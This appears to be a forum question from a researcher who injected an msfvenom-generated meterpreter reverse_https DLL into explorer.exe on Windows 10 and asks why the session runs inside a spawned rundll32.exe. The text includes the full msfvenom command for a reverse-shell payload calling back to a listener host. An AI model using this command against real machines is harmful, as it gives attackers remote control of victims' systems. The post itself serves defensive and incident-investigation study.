I am researching payloads that msfvenom (metasploit framework) can be generated and existing methods of injection them into processes for manual incident investigation.
- Target: Windows 10 x64 (19041.804)
- Client: Kali Linux 2020.04
I was doing the following experiment.
1.Generate staged payload.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.100.24.54 LPORT=1234 -f dll -o /home/usr/payload.dll
2.Inject this payload into the explorer.exe process with c# code.
The library was successfully loaded into the process's address space (I see it on the Process Explorer (SysInternals)). Meterpreter session successfully opened. When I looked at Process Explorer (Sysinternals) I noticed that the process rundll32.exe appeared in the list of processes as explorer.exe subprocess. The meterpreter getpid command show that the payload is functioning in this rundll32.exe process.
What is the reason for this behavior? Is this done on purpose, or is it some kind of technical feature?